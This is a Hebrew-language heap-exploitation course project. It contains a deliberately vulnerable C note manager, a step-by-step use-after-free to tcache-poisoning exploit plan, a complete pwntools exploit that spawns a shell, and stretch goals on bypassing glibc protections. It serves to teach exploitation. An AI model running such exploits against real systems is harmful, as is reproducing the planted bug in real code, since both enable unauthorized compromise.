לדלג לתוכן

7.7 פרויקט ניצול heap מלא פרויקט

פרויקט - ניצול heap מלא מאפס עד shell

הגענו לפרויקט המסכם של פרק ה-heap, וזה הרגע שבו כל מה שבנינו לאורך הפרק מתחבר לכלי אחד. למדנו את פנימיות המקצה של glibc, את ה-tcache ואת ה-bins, ראינו שימוש לאחר שחרור (Use-After-Free), שחרור כפול, tcache poisoning, גלישות heap וטכניקות House of. עד עכשיו כל טכניקה הודגמה בפני עצמה על בינארי צעצוע שנבנה במיוחד בשבילה. עכשיו נעשה משהו אחר לגמרי: תקבלו בינארי שלם בסגנון CTF, מבוסס תפריט, בלי הסבר מה הבאג ואיפה הוא. אתם תזהו את מחלקת הבאג לבד, תבנו ממנו פרימיטיב leak ופרימיטיב כתיבה, ותסגרו את הלולאה עד shell אינטראקטיבי.

המשימה שלכם היא לקחת את הבינארי notes, מנהל פתקים תמים למראה, למצוא בו את החולשה, ולנצל אותה על glibc מודרני עם כל ההגנות דלוקות. זה לא תרגיל עם גלגלי עזר: אין כאן פונקציית win, אין buffer על המחסנית, ואין כתובת קבועה של libc. יש heap, מנהל הקצאות אמיתי, וראש שצריך לחשוב איך להפוך באג קטן אחד לשליטה מלאה.

מה בונים ומה המטרה

תקבלו קוד מקור של בינארי קטן ב-C, notes.c, שמנהל מערך של פתקים. תקמפלו אותו עם ההגנות המודרניות הרגילות, תריצו אותו מול glibc 2.31, ותתקפו אותו. הקריטריון להצלחה חד משמעי - shell אינטראקטיבי אמיתי:

$ python3 exploit.py
[*] bug class: use-after-free (the pointer is not reset after free)
[+] libc leak (unsorted bin fd): 0x7f8d3c1ecbe0
[+] libc base:                   0x7f8d3c000000
[+] __free_hook:                 0x7f8d3c1eeb28
[+] system:                      0x7f8d3c04c290
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag.txt
VR{use_after_free_all_the_way_to_a_clean_shell}

שימו לב: ה-exploit לא מקבל שום כתובת קבועה. הוא leaks כתובת libc בזמן ריצה, מחשב ממנה את הבסיס, בונה פרימיטיב כתיבה שרירותי מתוך הבאג, ומשתמש בו כדי לחטוף את זרימת הבקרה. זה בדיוק המסע המלא של ניצול heap - מזיהוי הבאג ועד ה-shell.

הנחות הגנה - protections

לפני שכותבים שורת exploit אחת חייבים לדעת נגד מה עומדים. בניגוד לפרקי המחסנית, כאן ההגנות של הבינארי עצמו (PIE, canary, RELRO) כמעט לא מפריעות לנו - אנחנו לא דורסים return address ולא נוגעים ב-GOT של הבינארי. הקרב האמיתי הוא מול מנגנוני ההגנה של מקצה ה-heap עצמו. עדיין, נגדיר הכל במפורש:

  • מנגנון NX דלוק. ה-heap לא ניתן להרצה, ולכן לא נזריק shellcode לתוך פתק. נצטרך לחטוף זרימה לקוד שכבר קיים ב-libc.
  • מנגנון ASLR דלוק. כתובות ה-libc וה-heap מוגרלות בכל הרצה. אין שום כתובת libc קבועה, ולכן חייבים לדלוף אחת בזמן ריצה - וזו הסיבה שהפרימיטיב הראשון שנבנה הוא פרימיטיב leak.
  • מנגנון PIE דלוק וגם RELRO במצב Full וcanary דלוק. כל אלה מגנים על הבינארי, ואנחנו פשוט לא נתקוף דרכו. זו הסיבה שהתקפות heap כל כך שוות: הן עוקפות את כל שכבת ההגנות של המחסנית מלמעלה.
  • מנגנון tcache פעיל (מאז glibc 2.26). זה השחקן המרכזי בפרויקט. יש לו מגן שחרור-כפול - tcache key מאז 2.29 - שנצטרך לזכור אבל לא נצטרך לעקוף, כי נבנה את ההתקפה על UAF ולא על double-free.
  • גרסת glibc 2.31 (אובונטו 20.04). זו בחירה מכוונת: יש בה tcache ו-tcache key, אבל אין בה safe-linking (הוא נכנס ב-2.32) ויש בה עדיין את __free_hook (הוא הוסר ב-2.34). זה הופך אותה למטרת הלימוד הנקייה ביותר ל-tcache poisoning קלאסי. במטרות המתיחה נעביר את ה-exploit ל-2.35 המודרנית, ושם נתמודד גם עם safe-linking וגם עם היעלמות ההוקים.

התמונה ברורה: יש לנו באג heap אחד, libc אקראי שצריך לדלוף, ומקצה מודרני עם tcache שאותו נשכנע להקצות לנו זיכרון בכל כתובת שנרצה.

קוד המקור של הבינארי - vulnerable binary

הנה הבינארי המלא. שמרו אותו כ-notes.c:

// notes.c - vulnerable note manager for heap exploitation practice
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_NOTES 16
#define MAX_SIZE  0x500

char   *notes[MAX_NOTES];
size_t  sizes[MAX_NOTES];

void menu(void) {
    puts("==== Note Manager ====");
    puts("1) add");
    puts("2) delete");
    puts("3) edit");
    puts("4) show");
    puts("5) exit");
    printf("> ");
}

int read_int(void) {
    char buf[16];
    if (read(0, buf, sizeof(buf) - 1) <= 0) exit(0);
    return atoi(buf);
}

int get_index(void) {
    printf("index: ");
    int i = read_int();
    if (i < 0 || i >= MAX_NOTES) { puts("bad index"); return -1; }
    return i;
}

void add_note(void) {
    int i = -1;
    for (int k = 0; k < MAX_NOTES; k++)
        if (notes[k] == NULL) { i = k; break; }
    if (i < 0) { puts("no free slot"); return; }
    printf("size: ");
    size_t n = (size_t)read_int();
    if (n == 0 || n > MAX_SIZE) { puts("bad size"); return; }
    notes[i] = malloc(n);
    if (!notes[i]) { puts("malloc failed"); return; }
    sizes[i] = n;
    printf("content: ");
    read(0, notes[i], n);
    printf("added at index %d\n", i);
}

void delete_note(void) {
    int i = get_index();
    if (i < 0) return;
    free(notes[i]);      // the bug: the pointer remains, the size remains
    puts("deleted");
}

void edit_note(void) {
    int i = get_index();
    if (i < 0) return;
    if (notes[i] == NULL) { puts("empty"); return; }
    printf("content: ");
    read(0, notes[i], sizes[i]);   // works even after free -> write-after-free
    puts("edited");
}

void show_note(void) {
    int i = get_index();
    if (i < 0) return;
    if (notes[i] == NULL) { puts("empty"); return; }
    printf("content: ");
    write(1, notes[i], sizes[i]);  // works even after free -> read-after-free
    putchar('\n');
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin,  NULL, _IONBF, 0);
    while (1) {
        menu();
        switch (read_int()) {
            case 1: add_note();    break;
            case 2: delete_note(); break;
            case 3: edit_note();   break;
            case 4: show_note();   break;
            case 5: return 0;
            default: puts("?");    break;
        }
    }
}

הקומפילציה, עם ברירות המחדל המחוזקות של אובונטו מודרני:

gcc -O0 -g -o notes notes.c

וכיבוי ASLR של המערכת רק לשלב הפיתוח (בהגשה תריצו עם ASLR דלוק ותוכיחו שזה עובד בכל זאת):

# only for learning and debugging - makes it easier to read addresses in gdb
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

הצמדת גרסת libc - pinning glibc 2.31

הפרויקט מוגדר מול glibc 2.31, אבל המכונה שלכם כנראה מריצה גרסה אחרת. הדרך הנקייה להצמיד את הבינארי ל-libc וטוען ספציפיים היא patchelf, בדיוק כמו בפרויקט של פרק 4:

# download libc.so.6 and ld-2.31.so of Ubuntu 20.04 into the ./libs folder
patchelf --set-interpreter ./libs/ld-2.31.so \
         --set-rpath ./libs notes -o notes_231

הכלי pwninit עושה את כל זה אוטומטית אם נותנים לו בינארי ו-libc.so.6, וגם מייצר לכם שלד exploit עם הנתיבים הנכונים. לחלופין, פשוט הריצו את הכל בתוך קונטיינר של ubuntu:20.04.

אימות ההגנות - checksec

לפני שכותבים exploit, מריצים checksec ומוודאים שהתמונה תואמת למה שהגדרנו:

checksec --file=./notes

פלט צפוי:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

כל ההגנות דלוקות, וזה בסדר גמור. אף אחת מהן לא עומדת בדרך של התקפת heap שמדליפה libc וחוטפת הוק שם. זה בדיוק הלקח: כשהבאג הוא במקצה הזיכרון, ההגנות של המחסנית לא רלוונטיות.

זיהוי הבאג - identify the bug

לפני כל exploit, המשימה הראשונה שלכם היא לשבת עם המקור (או, בתרחיש CTF אמיתי, עם הדיסאסמבלי) ולזהות את מחלקת הבאג. אל תדלגו לפתרון - זה בדיוק הכישור שהפרק הזה מלמד. תשאלו את עצמכם שלוש שאלות:

  • מה קורה למצביע notes[i] אחרי free? האם הוא מאופס?
  • אילו פעולות אפשר עדיין לבצע על אינדקס שכבר שוחרר?
  • מה זה נותן לי - קריאה מזיכרון משוחרר? כתיבה לזיכרון משוחרר? שניהם?

כשתסתכלו על delete_note, תראו את השורה free(notes[i]) בלי איפוס. edit_note ו-show_note בודקים רק ש-notes[i] != NULL, וזה עדיין נכון אחרי השחרור. כלומר, אחרי delete, אפשר גם לקרוא וגם לכתוב לתוך chunk משוחרר דרך אותו אינדקס. זו שימוש לאחר שחרור - Use-After-Free, והיא נותנת לנו את שני הפרימיטיבים שאנחנו צריכים: show על chunk משוחרר יקרא מה שהמקצה כתב לתוכו (מצביעים), ו-edit על chunk משוחרר יכתוב על שדות הניהול הפנימיים של ה-tcache.

אסטרטגיית הexploit - exploitation strategy

כל ניצול heap מודרני נשען על שני פרימיטיבים שאנחנו בונים מהבאג: leak וכתיבה. הנה התוכנית המלאה בשלוש תמונות.

פרימיטיב leak - libc leak דרך ה-unsorted bin

ה-tcache שומר chunks עד גודל 0x410. אם נשחרר chunk גדול יותר, הוא לא נכנס ל-tcache אלא ל-unsorted bin. וזה הטריק: כש-chunk נכנס ל-unsorted bin, המקצה כותב לתוך שדות ה-fd/bk שלו מצביע חזרה אל תוך main_arena - מבנה שיושב בתוך libc. עכשיו, בזכות ה-UAF, נקרא את שמונת הבתים הראשונים של אותו chunk משוחרר עם show, ונקבל כתובת libc אמיתית.

before delete:
+--------- chunk 0 (0x500) ---------+--- chunk 1 (0x500, guard) ---+
| note content                       | content                     |
+-----------------------------------+-----------------------------+

after delete(0)  ->  chunk 0 enters the unsorted bin:
+--------- chunk 0 (freed) ---------+
| fd = &main_arena+0x60  (libc!)    |  <-- show(0) reads this
| bk = &main_arena+0x60             |
+-----------------------------------+

ה-chunk השני (index 1) הוא "שומר": הוא מונע מ-chunk 0 המשוחרר להתאחד עם ה-top chunk, וכך מכריח אותו להישאר ב-unsorted bin עם המצביע שאנחנו רוצים לקרוא.

פרימיטיב כתיבה - tcache poisoning

עכשיו הכתיבה. ה-tcache הוא רשימה מקושרת חד כיוונית: כל chunk משוחרר מצביע דרך שדה fd (שמונת הבתים הראשונים של האזור למשתמש) אל ה-chunk הבא ברשימה. malloc פשוט מחזיר את ראש הרשימה ומקדם את ה-head אל fd. אז אם נשחרר שני chunks קטנים לאותו bin, ואז נשתמש ב-UAF כדי לדרוס את ה-fd של הראשון, נשלוט לאן ה-malloc הבא-אחרי-הבא יצביע:

tcache[0x50] after delete(A) then delete(B):

  entries[0x50] --> [B] --fd--> [A] --fd--> NULL

after edit(B) overwrites B's fd with a target address:

  entries[0x50] --> [B] --fd--> [TARGET] --> ...

  first malloc()  returns B
  second malloc()  returns a chunk that sits exactly on TARGET

זהו פרימיטיב כתיבה שרירותית: ה-malloc השני מחזיר לנו מצביע לכל כתובת שבחרנו, וה-content שנכתוב אליו נוחת ישר שם.

חטיפת הזרימה - __free_hook

מה כותבים ולאן? על glibc 2.31 יש קיצור דרך מפורסם: המשתנה הגלובלי __free_hook ב-libc. אם הוא לא NULL, free(ptr) קורא ל-__free_hook(ptr) עוד לפני שהוא נוגע ב-chunk. אז:

  1. נשתמש ב-tcache poisoning כדי להקצות chunk בכתובת __free_hook.
  2. נכתוב לתוכו את הכתובת של system. עכשיו __free_hook == system.
  3. ניצור פתק שהתוכן שלו הוא "/bin/sh", ונשחרר אותו. free(ptr) הופך ל-system("/bin/sh") -> shell.

זה השרשור הקלאסי, והוא עובד נקי כי __free_hook נבדק ממש בתחילת free, לפני כל עיבוד metadata.

דרישות הפרויקט - requirements

ה-exploit הסופי שתגישו חייב:

  • לזהות ולהצהיר על מחלקת הבאג בקוד (הדפסה של use-after-free), ולא סתם לתקוף עיוור.
  • לבנות פרימיטיב leak שמחלץ כתובת libc בזמן ריצה דרך ה-unsorted bin, ומחשב ממנה את בסיס ה-libc. אסור להדביק כתובות libc קבועות בקוד.
  • לבנות פרימיטיב כתיבה מבוסס tcache poisoning שמקצה chunk בכתובת שרירותית שאתם בוחרים.
  • לחשב את הכתובות של __free_hook ו-system מתוך בסיס ה-libc, לא כמספרים קבועים.
  • לפתוח shell אינטראקטיבי אמיתי ולהריץ בו לפחות שתי פקודות (id ו-cat flag.txt).
  • לעבוד עם ASLR דלוק ולהיות אמין (לרוב ניצול ה-heap הזה דטרמיניסטי ומצליח כמעט תמיד; אם לא, הוסיפו לולאת ניסיונות חוזרים כמו בפרויקט של פרק 4).
  • מטרת המתיחה המרכזית: לגרום לאותו exploit לעבוד על שתי גרסאות glibc שונות (למשל 2.31 ו-2.35), עם התאמה אוטומטית לשינויי המנגנון ביניהן.

אבני דרך - milestones

אל תנסו לכתוב את הכל במכה אחת. עברו דרך חמש אבני דרך, וודאו שכל אחת עובדת לפני שממשיכים.

אבן דרך 1 - מיפוי התפריט וזיהוי הבאג

כתבו קודם את ה-"נהג": פונקציות עזר add, delete, edit, show שמדברות עם התפריט. תוודאו שאתם יכולים ליצור פתק, לשחרר אותו, ולקרוא ממנו אחרי השחרור. אם show על אינדקס משוחרר מחזיר בתים - זיהיתם את ה-UAF וגם הוכחתם אותו.

add(0x30, b'AAAA')   # index 0
delete(0)
print(show(0, 0x30)) # reads a freed chunk -> this is the UAF

אבן דרך 2 - leak libc

הקצו chunk גדול (מעל 0x410) ו-chunk שומר אחריו, שחררו את הגדול, וקראו את שמונת הבתים הראשונים שלו. זו הכתובת main_arena+0x60. חשבו ממנה את בסיס ה-libc, ותוודאו שהוא מסתיים ב-000 (aligned לעמוד). אם לא - קראתם את השורה הלא נכונה או שהעמסתם offset שגוי.

אבן דרך 3 - פרימיטיב הכתיבה

הקצו שני chunks קטנים באותו גודל, שחררו את שניהם (בסדר הזה), דרסו את ה-fd של השני עם edit, והקצו פעמיים. תוודאו ב-gdb שה-malloc השני החזיר לכם chunk בכתובת שבחרתם. בשלב הזה כוונו לכתובת "בטוחה" (למשל chunk אחר שלכם) ותאשרו שהכתיבה נוחתת שם.

אבן דרך 4 - shell

כוונו את הכתיבה ל-__free_hook, כתבו system, ושחררו פתק שמכיל "/bin/sh". אם עשיתם הכל נכון - קיבלתם shell. אם התהליך קורס בתוך malloc, כנראה יש בעיה בalignment או ב-metadata (ראו מלכודות).

אבן דרך 5 - אמינות והגשה

הריצו את ה-exploit עם ASLR דלוק כמה פעמים ברצף. אם יש כשלים אקראיים, עטפו בלולאת ניסיונות חוזרים עם בדיקת חיות (echo PWNED_42), בדיוק כמו בפרויקט הקודם.

פרטי טכניקה - unsorted bin leak לעומק

בואו נדייק למה זה עובד. כש-free מקבל chunk שגדול מכל ה-tcache bins וגם לא נכנס ל-fastbin, הוא מכניס אותו ל-unsorted bin. ה-unsorted bin הוא רשימה דו-כיוונית שהראש שלה יושב בתוך main_arena, ולכן ה-fd וה-bk של ה-chunk הבודד שבתוכה מצביעים חזרה אל תוך main_arena - כלומר אל תוך libc. הערך המדויק שנקרא הוא &main_arena + 0x60 על 64 ביט.

מאתרים את ה-offset פעם אחת ב-gdb כדי לתרגם את הleak לבסיס libc:

pwndbg> b main
pwndbg> run
pwndbg> p/x &main_arena
$1 = 0x7ffff7fabb80          # the address at runtime
pwndbg> vmmap libc            # find the libc base
0x7ffff7d dc000  ...          # base
# main_arena offset = 0x7ffff7fabb80 - base
# the leak = base + main_arena_offset + 0x60

אחרי delete על ה-chunk הגדול, אפשר לראות אותו ב-unsorted bin ולוודא את ה-fd:

pwndbg> bins
unsortedbin
all: 0x...  ->  0x7ffff7fabbe0  <-  &main_arena+0x60

בקוד, החישוב הוא הפרש קבוע: libc.address = leak - (main_arena_offset + 0x60). בגרסת glibc 2.31 של אובונטו 20.04 זה יוצא leak - 0x1ecbe0, אבל אל תסמכו על המספר הזה בעיניים עצומות - תמצאו אותו ל-libc שלכם ב-gdb כמו שהראינו, או השתמשו ב-libc עם סמלים כך ש-libc.sym.main_arena יעבוד ישירות.

פרטי טכניקה - tcache poisoning לעומק

שתי נקודות עדינות שיפילו אתכם אם לא תשימו לב:

מגן השחרור הכפול - tcache key. מאז glibc 2.29, כל chunk שמשוחרר ל-tcache מקבל בשמונת הבתים שאחרי ה-fd ערך key שמצביע על מבנה ה-tcache. אם תשחררו את אותו chunk פעמיים, free יזהה את ה-key ויפיל את התהליך עם free(): double free detected in tcache 2. בפרויקט הזה אנחנו לא עושים double-free בכלל - אנחנו משחררים שני chunks שונים ואז דורסים fd דרך UAF. לכן ה-key לא מפריע לנו. זכרו את זה למקרה שתחליטו ללכת בדרך ה-double-free (ראו מטרות מתיחה) - שם תצטרכו קודם לאפס את ה-key.

היעדר safe-linking ב-2.31. מאז glibc 2.32 המצביע fd ב-tcache מעורבל: הערך שנשמר הוא real_fd XOR (chunk_addr >> 12). על 2.31 אין ערבול, ולכן ה-fd שנכתוב הוא פשוט הכתובת האמיתית של היעד. זה עוד סיבה ש-2.31 היא מטרת הלימוד הנקייה. בעדכון ל-2.35 נצטרך להתמודד עם הערבול הזה, וזו בדיוק אחת ממטרות המתיחה.

שלד ה-exploit - starting skeleton

הנה נקודת פתיחה עם פונקציות ה-"נהג" מוכנות. השלימו את מה שמסומן ב-TODO:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./notes')
libc = ELF('./libs/libc.so.6', checksec=False)   # glibc 2.31
context.log_level = 'info'

io = process('./notes')     # replace with remote(HOST, PORT) against a server

def menu(choice):
    io.recvuntil(b'> ')
    io.send(f'{choice}\n'.encode())

def add(size, data):
    menu(1)
    io.recvuntil(b'size: ');    io.send(f'{size}\n'.encode())
    io.recvuntil(b'content: '); io.send(data)

def delete(idx):
    menu(2)
    io.recvuntil(b'index: ');   io.send(f'{idx}\n'.encode())

def edit(idx, data):
    menu(3)
    io.recvuntil(b'index: ');   io.send(f'{idx}\n'.encode())
    io.recvuntil(b'content: '); io.send(data)

def show(idx, size):
    menu(4)
    io.recvuntil(b'index: ');   io.send(f'{idx}\n'.encode())
    io.recvuntil(b'content: ')
    data = io.recvn(size)       # read exactly size bytes so we don't lose sync
    io.recvline()               # the \n from putchar
    return data

# --- milestone 2: leak libc ---
# TODO: allocate a large chunk (0x500) and a guard chunk, free the large one, and read its fd
# leak = u64(show(0, 8))
# libc.address = leak - 0x1ecbe0     # verify the offset for your libc!

# --- milestone 3+4: write to __free_hook ---
# TODO: two small chunks, delete both, edit the fd, two mallocs, write system

# --- trigger ---
# TODO: a note containing "/bin/sh", delete it -> shell
# io.interactive()

בנו את זה בהדרגה: קודם UAF read, אז דליפה, אז פרימיטיב הכתיבה מול יעד בטוח, ורק אז מכוונים ל-__free_hook.

פתרון ייחוס - reference exploit

אחרי שהתמודדתם לבד, הנה exploit מלא ורץ מול glibc 2.31. השתמשו בו כדי להשוות לעצמכם, לא כדי לדלג על העבודה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./notes')
libc = ELF('./libs/libc.so.6', checksec=False)   # glibc 2.31
context.log_level = 'info'

io = process('./notes')

def menu(c):
    io.recvuntil(b'> '); io.send(f'{c}\n'.encode())
def add(size, data):
    menu(1); io.recvuntil(b'size: '); io.send(f'{size}\n'.encode())
    io.recvuntil(b'content: '); io.send(data)
def delete(idx):
    menu(2); io.recvuntil(b'index: '); io.send(f'{idx}\n'.encode())
def edit(idx, data):
    menu(3); io.recvuntil(b'index: '); io.send(f'{idx}\n'.encode())
    io.recvuntil(b'content: '); io.send(data)
def show(idx, size):
    menu(4); io.recvuntil(b'index: '); io.send(f'{idx}\n'.encode())
    io.recvuntil(b'content: '); data = io.recvn(size); io.recvline()
    return data

log.info('bug class: use-after-free (the pointer is not reset after free)')

# pre-allocations: 0,1 large for leak; 2,3 small for poisoning; 4 small will hold "/bin/sh"
add(0x500, b'A' * 8)   # index 0 - the victim for the libc leak
add(0x500, b'B' * 8)   # index 1 - guard, prevents merging with top
add(0x40,  b'C' * 8)   # index 2 - poisoning chunk A
add(0x40,  b'D' * 8)   # index 3 - poisoning chunk B
add(0x40,  b'E' * 8)   # index 4 - will hold the string "/bin/sh"

# --- step 1: leak libc through the unsorted bin ---
delete(0)                              # index 0 -> unsorted bin
leak = u64(show(0, 8))                 # fd = &main_arena+0x60
libc.address = leak - 0x1ecbe0         # verify the offset for your libc
assert libc.address & 0xfff == 0, 'base is not page-aligned - wrong offset'

free_hook = libc.sym['__free_hook']
system    = libc.sym['system']
log.success(f'libc leak: {hex(leak)}')
log.success(f'libc base: {hex(libc.address)}')
log.success(f'__free_hook: {hex(free_hook)}')
log.success(f'system:      {hex(system)}')

# --- step 2: tcache poisoning onto __free_hook ---
delete(2)                              # tcache[0x50]: 2
delete(3)                              # tcache[0x50]: 3 -> 2
edit(3, p64(free_hook))                # fd of 3 -> __free_hook (no mangling on 2.31)

add(0x40, b'F' * 8)                    # index 5 - pulls out chunk 3
add(0x40, p64(system))                 # index 6 - allocated onto __free_hook, writes system

# --- step 3: trigger ---
edit(4, b'/bin/sh\x00')                # index 4 contains the string
delete(4)                              # free(idx4) -> __free_hook("/bin/sh") = system("/bin/sh")

io.interactive()

הרצה מוצלחת:

$ python3 exploit.py
[+] libc leak: 0x7f8d3c1ecbe0
[+] libc base: 0x7f8d3c000000
[+] __free_hook: 0x7f8d3c1eeb28
[+] system:      0x7f8d3c04c290
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag.txt
VR{use_after_free_all_the_way_to_a_clean_shell}

מלכודות נפוצות - common pitfalls

  • המצביע לא מאופס, אז add לא ממחזר את החריץ. אחרי delete(0) החריץ 0 עדיין לא NULL, ולכן add הבא מקבל חריץ חדש (5, ואז 6). זו הסיבה שאנחנו סופרים אינדקסים ידנית ומכוונים את p64(system) לחריץ 6. אם תתבלבלו בספירה, ה-system ייכתב לחריץ הלא נכון.
  • חייבים chunk שומר לleak. בלי ה-chunk באינדקס 1, ה-chunk הגדול המשוחרר עלול להתאחד עם ה-top chunk, ואז לא יישאר בו מצביע libc לקרוא. השומר מפריד אותו מה-top.
  • גודל ה-chunk לleak חייב לעבור את גבול ה-tcache. בקשה של 0x500 נותנת chunk 0x510, מעל 0x410, ולכן נופל ל-unsorted bin. אם תבקשו גודל קטן מדי, הוא ייכנס ל-tcache ולא תקבלו את מצביע ה-libc.
  • שולחים בדיוק את מספר הבתים. בשליחת p64(system) השתמשו ב-send, לא ב-sendline, כדי לא לדחוף בית newline מיותר שידרוס את __free_hook+8. ה-read בבינארי לא מוסיף null ולא עוצר ב-newline, אז אתם בשליטה מלאה.
  • קוראים בדיוק size בתים ב-show. מכיוון ש-show משתמש ב-write שמדפיס בתים גולמיים (שעלולים להכיל >), חייבים לקרוא בדיוק sizes[idx] בתים עם recvn ואז את ה-newline, אחרת מאבדים סנכרון עם התפריט.
  • offset של main_arena תלוי גרסה. המספר 0x1ecbe0 נכון לגרסה ספציפית של libc 2.31. אם הבסיס שיוצא לא מסתיים ב-000, ה-offset שלכם שגוי. ה-assert בקוד תופס את זה מיד.

מטרות מתיחה - stretch goals

השלמתם את המסלול הבסיסי? הנה איך לוקחים את הפרויקט לרמת מחקר אמיתי.

מטרה 1 - שתי גרסאות glibc (הדרישה המרכזית): מעבר ל-2.35. קמפלו והריצו את אותו בינארי מול glibc 2.35 (אובונטו 22.04), וגרמו לאותו exploit לעבוד על שתי הגרסאות בלי עריכה ידנית. שני שינויים מהותיים מחכים לכם:

  • מנגנון safe-linking (מאז 2.32) מערבל את ה-fd ב-tcache. עכשיו הכתיבה חייבת להיות מעורבלת: במקום p64(target) כותבים p64(target ^ (chunk_addr >> 12)). בשביל זה צריך גם leak heap. הדרך הפשוטה: שחררו chunk קטן בודד ל-tcache וקראו את ה-fd שלו עם show - מכיוון שה-fd הראשון ברשימה הוא NULL, הערך המעורבל שיוצא הוא בדיוק chunk_addr >> 12, כלומר המפתח שאתם צריכים לערבול.
# heap leak on 2.32+ (safe-linking)
add(0x40, b'X')          # index k
delete(k)
key = u64(show(k, 8))    # NULL ^ (addr>>12) == addr>>12  ==  the mangling key
# and when poisoning:
edit(victim, p64(target ^ key))
  • היעלמות ההוקים (מאז 2.34). על 2.35 אין יותר __free_hook ו-__malloc_hook. חייבים יעד חדש לפרימיטיב הכתיבה. השיטות הנפוצות: FSOP - חטיפת מבנה ה-FILE של _IO_2_1_stdout_ (למשל House of Apple דרך _IO_wfile_jumps), או דריסת רשימת פונקציות ה-exit. תצטרכו להקצות chunk גדול יותר על מבנה ה-_IO_2_1_stdout_, לזייף שדות FILE, ולתת ל-puts/exit הבא להריץ בשבילכם קוד. זו קפיצת מדרגה, אבל היא הלב של ניצול heap מודרני.

בנו לוגיקה שמזהה את גרסת ה-libc (למשל לפי הספרות התחתונות של הכתובת שדלפה, כמו בפרויקט של פרק 4) ובוחרת אוטומטית את היעד ואת שיטת הערבול הנכונים.

מטרה 2 - exploit דרך double-free במקום UAF. אותו בינארי חשוף גם ל-double-free (אפשר לקרוא ל-delete על אותו אינדקס פעמיים, כי המצביע לא מאופס). ממשו את ההרעלה דרך double-free קלאסי. שימו לב שתצטרכו קודם לעקוף את ה-tcache key: אחרי השחרור הראשון, ערכו את ה-chunk ואפסו את שמונת הבתים של ה-key, ורק אז שחררו שוב. השוו את שתי הדרכים - איזו יותר יציבה על מקצה עמוס?

מטרה 3 - one_gadget במקום system. במקום system("/bin/sh"), מצאו one_gadget ב-libc וכתבו אותו ל-__free_hook. זה חוסך את הצורך במחרוזת "/bin/sh", אבל דורש שהאילוצים של הגאדג'ט יתקיימו במצב הרגיסטרים בזמן שה-free מפעיל את ההוק:

one_gadget ./libs/libc.so.6
# 0xe3b01 execve("/bin/sh", r15, rdx)
#   constraints: [r15] == NULL || r15 == NULL ...

מטרה 4 - תקיפה מרחוק מול שרת forking. עטפו את הבינארי בשרת (כמו בפרויקט של פרק 2), החליפו process ב-remote, וודאו שהleak והפרימיטיבים עובדים גם מעבר לרשת. שרתי fork יורשים את אותו ASLR base של ההורה - הצצה לאיך שleak אחת יכולה לשמש להתקפות חוזרות.

קריטריוני הצלחה והגשה

מה שצריך להראות בסוף:

  • shell אמין - exploit שמזהה את הבאג, leaks libc, בונה פרימיטיב כתיבה, ופותח shell שבו הרצתם id ו-cat flag.txt.
  • הוכחת הבאג - הסבר קצר (או פלט gdb) שמראה את ה-UAF: show על אינדקס משוחרר מחזיר בתים, וה-edit דורס את שדה ה-fd ב-tcache.
  • הפרדת פרימיטיבים - הקוד צריך להראות בבירור את שלב הleak ואת שלב הכתיבה, כל אחד בפני עצמו.
  • מטרת המתיחה - אם ניגשתם לה, הוכיחו את ה-exploit רץ על שתי גרסאות glibc שונות (2.31 ו-2.35) בלי עריכה ידנית, כולל הטיפול ב-safe-linking ובהיעדר ההוקים.

הגישו את קוד ה-C, את סקריפט ה-exploit, את קבצי ה-libc שמולם בדקתם, ותיעוד קצר: איך זיהיתם את הבאג, אילו פרימיטיבים בניתם, ואיפה נתקעתם. זה ה-exploit המלא הראשון שלכם על heap אמיתי - מזיהוי באג עיוור ועד shell. מכאן והלאה זו רק כמות הפרטים שגדלה: הרעיון של leak-פלוס-כתיבה כבר בידיים שלכם.